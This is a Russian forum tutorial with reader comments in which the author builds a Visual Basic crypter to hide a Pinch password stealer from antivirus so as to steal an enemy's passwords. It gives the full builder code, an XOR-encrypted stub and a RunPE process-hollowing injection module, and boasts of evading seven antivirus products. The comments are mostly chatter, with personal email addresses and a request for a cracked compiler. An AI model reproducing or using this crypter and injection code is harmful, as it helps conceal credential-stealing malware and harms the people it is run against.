Программирование
Веб программирование

Криптор PE файлов

 
 

Всем здрасьте. Я KILLO. Сегодня я решил стырить у своего врага пароли. Для этих целей подготовил пинч. Чекнул на палевность его палило ВСЕ! У моего врага стоит ЭЗЕТ. Поискал пабликовые крипторы все палится. ПОэтому мы напишем свой. Писать будем на бейсике.

0) Объявляем пабликовые переменные

Dim openPath As String, savePath 

1) Открываем сам бейсик и длеаем интерфейс (рис 1.)

1

Кидаем еще два CommonDialog (называем их OpenDialog и SaveDialog соответственно)

2) Пишем код для открытия файла (верхняя кнопка с тремя точками)

openDiag.DialogTitle = "Select a file to open" 
openDiag.Filter = "Exe files | *.exe"
openDiag.ShowOpen
openPath = openDiag.FileName
txtfilepath.text = openPath

объясняю построчно:

  1. - строчка - задаем файловому диалогу (он у нас для открытия инфицированного файла=) заголовок
  2. - строчка - Диалог будет открывать токо экзешники
  3. - строчка - открываем диалог
  4. - строчка - записываем путь до инфицированного файла в переменную openpath 

3)Теперь код для кнопки сохранения исходного файла (нижняя с тремя точками)

saveDiag.DialogTitle = "Save as..."
saveDiag.Filter = "Exe files | *.exe"
saveDiag.ShowSave
savePath = saveDiag.FileName
txtSavepath.text = savePath

Здесь все аналогично открытию, только в третьей строчке вызываем ShowSave, а не ShowOpen

4) Криптор у нас будет работать так

4.1) Открываем инфицированный файл (в бинарном моде)
4.2) Читаем весь его код
4.3) Шифруем обычным XOR
4.5) Кладем в стаб
4.6) В стабе код дешифруется, и выполнится в памяти

5)Теперь код для кнопки Build.

Создайте модуль и добавьте туда этот код:

Public Function xor_encrypt(ByVal text As String, ByVal key As String) As String
Dim i As Long
Dim KeyChar As Long
Dim Result As String

KeyChar = Asc(key)
For i = 1 To Len(text)
Result = Result & Chr(KeyChar Xor Asc(Mid(text, i, 1)))
Next
xor_encrypt = Result

End Function

Здесь мы создали две функцию шифрования (xor шифрование).

6) Теперь код для кнопки Build

Dim infectedFile As String, newFile As String, stubfile As String
Open openPath For Binary As #1
infectedFile = Space(LOF(1))
Get #1, , infectedFile
Close #1

infectedFile = infectedFile = xor_encrypt(infectedFile, "pass")
Open App.Path & "\stub.exe" For Binary As #2
stubfile = Space(LOF(2))
Get #2, , stubfile
Close #2
newFile = stubfile & "XSEPERATORX" & infectedFile


Open savePath For Binary As #3
Put #3, , newFile
Close #3

MsgBox "Build!"

Здесь мы объявляем три переменные (для кода инфицированного файла,для построения строки, и для кода стаба). Дальше мы читаем код инфицированного файла и шифруем его ксором.

После шифрования открываем стаб и читаем его код. Записываем код стаба и код криптованного файла в переменную newfile (разделяем их разделителем XSEPARATORX.

Открываем конечный файл и пихаем туда переменную newfile. Говорим, что все ок=)

7)Теперь стаб.

Открываем еще один бейсик ( не создаем новый проэкт, а запускаем вторую копию среды)
Создаем три модуля (один назовите MainMod, остальные два как угодно=)
В один из модулей (НЕ MainMod!!!!)
пишем:

Public Function xor_encrypt(ByVal text As String, ByVal key As String) As String
Dim i As Long
Dim KeyChar As Long
Dim Result As String

KeyChar = Asc(key)
For i = 1 To Len(text)
Result = Result & Chr(KeyChar Xor Asc(Mid(text, i, 1)))
Next
xor_encrypt = Result

End Function

Это функция шифрования (такая же, как и в билдере, только здесь мы ее юзаем для расшифровки)

8) В другой модуль(HE MainMOD!!!!) пишем код для ижекта в память компа:

Option Explicit

Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Long = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40

Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long

Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Long
cbReserved2 As Long
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type

Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type

Private Type CONTEXT
ContextFlags As Long

Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long

FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER
e_magic As Long
e_cblp As Long
e_cp As Long
e_crlc As Long
e_cparhdr As Long
e_minalloc As Long
e_maxalloc As Long
e_ss As Long
e_sp As Long
e_csum As Long
e_ip As Long
e_cs As Long
e_lfarlc As Long
e_ovno As Long
e_res(0 To 3) As Long
e_oemid As Long
e_oeminfo As Long
e_res2(0 To 9) As Long
e_lfanew As Long
End Type

Private Type IMAGE_FILE_HEADER
Machine As Long
NumberOfSections As Long
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Long
characteristics As Long
End Type

Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
Magic As Long
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
' NT additional fields.
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Long
MinorOperatingSystemVersion As Long
MajorImageVersion As Long
MinorImageVersion As Long
MajorSubsystemVersion As Long
MinorSubsystemVersion As Long
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Long
DllCharacteristics As Long
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Long
NumberOfLinenumbers As Long
characteristics As Long
End Type

Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
Dim lPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim i As Long
Dim lMod As Long

lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function

lPtr = VarPtr(bvASM(0))
RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
For i = UBound(Params) To 0 Step -1
RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4: lPtr = lPtr + 4
Next
RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
CallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
End Function

Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT

Si.cb = Len(Si)

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0

For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i

Ctx.ContextFlags = CONTEXT_FULL
CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
CallAPI "kernel32", "ResumeThread", Pi.hThread
End Sub

Public Function StrToBytArray(ByVal sStr As String) As Byte()
Dim i As Long
Dim Buffer() As Byte
ReDim Buffer(Len(sStr) - 1)
For i = 1 To Len(sStr)
Buffer(i - 1) = Asc(Mid(sStr, i, 1))
Next i
StrToBytArray = Buffer
End Function

Public Function ThisExe() As String
Dim lRet As Long
Dim bvBuff(255) As Byte
lRet = CallAPI("kernel32", "GetModuleFileNameA", App.hInstance, VarPtr(bvBuff(0)), 256)
ThisExe = Left$(StrConv(bvBuff, vbUnicode), lRet)
End Function

Код этого модуля я взял из RunPE Module fo Visual Basic. Подробнее в гугле=)

9) Теперь в МаинМод пишем:

Sub Main()
Dim thisfile As String, infectedfile As String, selfpath As String
selfpath = App.Path & "\" & App.EXEName & ".exe"
Open selfpath For Binary As #1
thisfile = Space(LOF(1))
Get #1, , thisfile
Close #1
infectedfile = Split(thisfile, "XSEPERATORX")(1)
infectedfile = infectedFile = xor_encrypt(infectedFile, "pass")
Injec selfpath, StrConv(infectedfile, vbFromUnicode), vbNullString
End Sub

Здесь также объявляются три переменных (в переменную selfpath записываем путь до себя=) Потом мы читаем свой код (как ты помниш мы в него положили криптованный код файла). Дальше в переменную файла помещаем код криптованного файла (то что мы клали в билдере). Потом расшифровываем этот код,переводим в Юникод и помещаем в память с помощью функции Injec (модуля RunPE). Все криптор готов. Компилим в отдельную папку билдер и стаб(File->make) (рис 2.):

2
Запускаем билдер и выбираем в нем билд пинча,потом выбираем путь для сохранения и жмем билд. Чуток ждмем и идем в папку с криптованным пинчем (ту которую вы выбрали)

Его размер несколько увеличился=) Проверяем на детектируемость. Мы отсекли 7 антивирей (в том чилсе Аваст и Эзет). Вот отчет: http://www.metascan-online.com/results.cgi?uid=52zni2d412k08oko6y1blkhdzzeezfg3.

На голый пинч орут все антивири. Все пинч готов к юзанию.


Есть вопросы? Спроси на нашем форуме!!
Максим [13.11.2011 17:20]

ты типо хакер?

алексей [13.11.2011 17:21]

макс, он не типо он и есть хакер !!! XD

Максим [13.11.2011 17:24]

статья под твоим именем ;)
но email другой и сайт у него есть

Босс [13.11.2011 17:41]

Блин, меня опередили, чел на своем сайте собирает команду

Босс [13.11.2011 17:43]

Он еще людей обучает. Ништяк, попробую пройти бесплатный курс

Инга [13.11.2011 19:50]

Хаккер это не тот кто все ломает, - хаккер это впервую очередь отличный программист! ^_^

алексей [13.11.2011 19:54]

я знаю

алексей [13.11.2011 20:05]

инга а ты хакер??

Инга [13.11.2011 20:39]

Нет, только учусь!

алексей [13.11.2011 20:43]

а я думал что ты уже умеешь ;)

алексей [13.11.2011 20:43]

а что ты умеешь??

Инга [13.11.2011 20:48]

Я пока только учусь программированию по урокам на сайте ^_^
Умею наверное тоже что и половину поситителей сайта, которые прочитали пол учебника :-D

Инга [13.11.2011 20:49]

Сегодня поставила себе делфи, думала похож на VB, оказалось совсем другой язык :(

Инга [13.11.2011 20:50]

А ты что умеешь? Знаешь еще какие-нибудь языки?

алексей [13.11.2011 20:53]

я весь уч. прочитал делаю сетевую игру с базай данных клиент-сервак-клиент . немножко знаю с++, флеш програмирование вб10

алексей [13.11.2011 20:55]

инга, а сколько тебе лет??

Инга [13.11.2011 21:06]

Мне 16 лет. А вообще у девущек не прилично спрашивать возраст ^_^
А тебе сколько лет?
А что лучше C++ или VB?
С++ намного сложнее?

алексей [13.11.2011 21:15]

ну извени .ну мне 15 , конечно лучше с++ . с++ и создала vb6 . она создала вб6 для начинающих. лучше начать на вб а потом перейти на с++

Инга [13.11.2011 21:27]

Так может урок напишешь о c++ ? Я ставила себе с++, делфи, и даже java. Ни чего не понятно, очень сложные языки. Хочется конечно хотя бы основы понять, дальше пойдет по накатанной.

алексей [13.11.2011 21:29]

как появиться раздел с++. ты лучше с вб разберись а потом на с++ иди!

Инга [13.11.2011 21:31]

Я считаю что если понять более сложное (c++), то vb потом будет казаться проще простого!

Инга [13.11.2011 21:32]

Я слышала что c++ один из самых сложных языков

Инга [13.11.2011 21:32]

и мощных

алексей [13.11.2011 21:33]

ну пока ты поймёш более сложное(с++) то тебе надоест и ты вообще не будешь програмировать

алексей [13.11.2011 21:34]

с++ это правдо самы мощный

алексей [13.11.2011 21:35]

а у тебя есть скайп??

Инга [13.11.2011 21:39]

Нет, у меня интернет ограничен. Могу только зайти на 5 мин. и выйти.
Поэтому скайп нет возможности использовать

алексей [13.11.2011 21:42]

тебе главно логически расуждать. нк иметь логигу програмиста а потом идти на с++. а логически расуждать можно научиться на вб

алексей [13.11.2011 21:44]

научись сама создавать тяжёлые проги на вб без подсказок. тогда тебе будет легче изучать С++

Юра [13.11.2011 22:33]

Я не думаю что Visual Studio 2010 Ultimate хуже С++

алексей [13.11.2011 22:35]

с++ сделал язык вб и вс 2010 . а значит он всё равно ограничен

алексей [13.11.2011 22:36]

юр ты со мной согласен?

Юра [13.11.2011 22:59]

В каждом языке есть минусы и плюсы.
А начинающим советую не лезть на С++

алексей [13.11.2011 23:13]

я тоже инге советую не лезть в с++. а она меня не слушаеться :(

алексей [13.11.2011 23:15]

я знаю чё с++ мощный язык потому, что у него одни плюсы в языке и в название "С++"

Юра [13.11.2011 23:17]

Чтобы нормально понять как работать с языками нужно понять как машина обрабатывает коды да и многое другое.

алексей [13.11.2011 23:24]

я это всё знаю я то как раз и пытался инге сказать. а ты это инге говоришь или мне ??

алексей [13.11.2011 23:26]

юра на хрен ты 2-е одинаковые статьи на модирацию добавил

Юра [13.11.2011 23:30]

Нечаянно.
Инет тут у меня мегафоновский. завтра буду дома и все будет в норме.

алексей [13.11.2011 23:32]

ясно. "инет тут" всмысле на рабате?

Юра [14.11.2011 00:11]

Ну типо того

Юра [14.11.2011 00:13]

А ща вобще с мобилы пишу.

Карим [14.11.2011 00:26]

Юра, Инга, Алексей дайте ссылку на свой профиль в форуме, или е-мейл

Юра [14.11.2011 00:44]

E-Mail: Alex-di@mail.ru
Icq: 486095224

Юра [14.11.2011 09:39]

алексей, в той статье которую я выложил вчера синтаксис кода другой.

алексей [14.11.2011 14:21]

e-mail : alex13sh@aport.ru
icq: не помню

KILLO [14.11.2011 14:43]

Могу научить вас программирвоать на бейсике или C++. dr.killo@yandex.ru

Инга [14.11.2011 14:55]

Ну наверное ребят вы правы, лучше пока не лезть )) Окрепнуть немножко в VB, потом уже на другие языки переходить.
KILLO, алексей, было бы здорово если бы вы начали уроки по C++ писать. Я думаю многие хотят перейти с VB

Инга [14.11.2011 14:56]

Можно попрсить падре открыть раздел по с++

Инга [14.11.2011 14:57]

Killo, а ты только по почте обучаешь? Или может уроки сделаешь?

алексей [14.11.2011 15:03]

инга а вдруг он мухлюет. и ещё падре скоро добавит с++ но для начало надо немного развить раздел делфи туда нужны уроки!!

Инга [14.11.2011 15:17]

Падре зачем нужен раздел делфи, если ни кто не хочет на нем программировать.
Открой лучше C++.

Я бы хотела бы чтобы люди начали писать о c++, я пока на vb хоть немножко приблизилась к уровню алексея, и потом уже был как раз учебник.

Юра [14.11.2011 15:20]

Инга, попробуй тогда VB 2010 или Visual C++ - 2008.
Я на с++ не лезу, я немного знаю его ну все равно сложновато, на данный момент я пишу скрипты для Cоunter-strice sourc.

Юра [14.11.2011 15:23]

Если так прыгать с одного языка на другой, то получишь как в поговорке.
За двумя погонишься ни одного не поймаешь.

алексей [14.11.2011 15:27]

инга ты на уровне какого алексей ?? того кто создал этот урок или меня??

алексей [14.11.2011 15:29]

инга юра прав. я в основном на вб6. ну немного знаю вб10 , с++ , флеш програмировани там синтексис с++.

Инга [14.11.2011 15:31]

А VB 2010 это VB.Net ?
Visual C++ 2008 это же c++? Или нет?

Возвомжно ты прав, но все равно я вижу себя как специалиста в c++, а не в VB6. Поэтому для начала до твоего уровня (может чуть по ниже) до росту, потом на другой язык. Не серьезно всю жизнь кодить на vb6, и потом на работу с этим vb ни куда не устроиштся

Инга [14.11.2011 15:32]

А VB 2010 это VB.Net ?
Visual C++ 2008 это же c++? Или нет?

Возвомжно ты прав, но все равно я вижу себя как специалиста в c++, а не в VB6. Поэтому для начала до твоего уровня (может чуть по ниже) до росту, потом на другой язык. Не серьезно всю жизнь кодить на vb6, и потом на работу с этим vb ни куда не устроиштся

Юра [14.11.2011 15:35]

В VB 2010 можно сделать то что ты на VB 6 не сделаешь даже с API функциями.
Так что изучай лучше VB.NET, потому что на VB 6 синтаксис другой.

Юра [14.11.2011 15:36]

"А VB 2010 это VB.Net ?" ДА!

Юра [14.11.2011 15:40]

Visual C++ 2008 все равно проще.

KILLO [14.11.2011 15:52]

С++ намного сложнее VB. VB.NET намного легче C++!

Юра [14.11.2011 15:53]

И я про то!

KILLO [14.11.2011 15:55]

VB.NET можно соспоставить с Дельфи, но у VB.NET один минус - для работы нужен фреймворк!

KILLO [14.11.2011 15:55]

VB.NET можно соспоставить с Дельфи, но у VB.NET один минус - для работы нужен фреймворк!

алексей [14.11.2011 15:56]

различие между visual c++ и c++ в том чт на vc++ ты как на вб можешь рисовать форму тоесть видешь форму размещение кнопок на форуме , а c++ ты только пишишь код не видя формы и остольное, добовление формы и кнопок и текстовых полей делаеться при помощи кода. Я уже делал добавление компанентов на форму прикольно но тяжело

KILLO [14.11.2011 15:57]

VB.NET можно соспоставить с Дельфи, но у VB.NET один минус - для работы нужен фреймворк!

KILLO [14.11.2011 15:59]

Хд. Алексей, попробую с вами несогласится. VC++ это всего лиш компилятор, на C++ можжно писать как консольные приложения так и ГУЙ интерефейс за счет наследования от классов контролов (в борляндии это controls.h)

KILLO [14.11.2011 16:01]

Хд. Алексей, попробую с вами несогласится. VC++ это всего лиш компилятор, на C++ можжно писать как консольные приложения так и ГУЙ интерефейс за счет наследования от классов контролов (в борляндии это controls.h)

KILLO [14.11.2011 16:06]

Хд. Алексей, попробую с вами несогласится. VC++ это всего лиш компилятор, на C++ можжно писать как консольные приложения так и ГУЙ интерефейс за счет наследования от классов контролов (в борляндии это controls.h)

алексей [14.11.2011 16:08]

ну я полностью различие не знаю но одно точно знаю на visual c++ ты форму делаешь как на visual basic. ну visual имееться ввиду рисование формы. а остольное я про visual c++ я не знаю

Padre [14.11.2011 22:32]

Хотите открою раздел C++, если у кого есть компилятор (желательно крякнутый), вышлите, я размещю.

Padre [14.11.2011 22:35]

В C++ можно работать как с VB6, рисуя формы на форме.
Можно писать программы для консоли или линукс систем (в VB только для винды).
Можно при помощи паттернов проектирования делать сложные системы классов.

Padre [14.11.2011 22:36]

Язык очень сложный, но и наверное самый востребованный.

alex97sh [14.11.2011 23:11]

падре с++ у инге есть!! я не знаю крякнутый у неё или нет но он есть

alex97sh [14.11.2011 23:14]

падре а ты хорошо знаешь с++

Padre [15.11.2011 12:32]

Нет, C++ знаю плохо. Я его учил чтобы лучше понять паттерны проектирования на Java и php5.

Ну пускай Инга кидает мне на padre03@mail.ru, либо напишет от куда его можно скачать

Инга [16.11.2011 13:14]

Падре, я тебе выслала на почту письмецо с ссылкой на рабочий компилятор

Padre [16.11.2011 13:48]

Спасибо! Разместил

Elisabeth Constantine [16.11.2011 17:14]
-Гепард97- [26.03.2012 12:04]

кто может исходники выложить?

-Гепард97- [01.04.2012 09:33]

Писец, стаб палится. Буду переписывать...

Кто-кто трололо? [10.01.2013 15:20]

А за туториал спасибо

v19307310 [29.11.2013 09:54]

...у этой проги есть один минус......
сидя за ней можно умереть от старости.....с длинной бородой

Stertor370 [29.11.2013 14:59]

v193073, жжошь! )))



Оставлять комментарии можно только зарегистрированным




Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни администрация не несут ответственности в случае ее использования в противозаконных целях.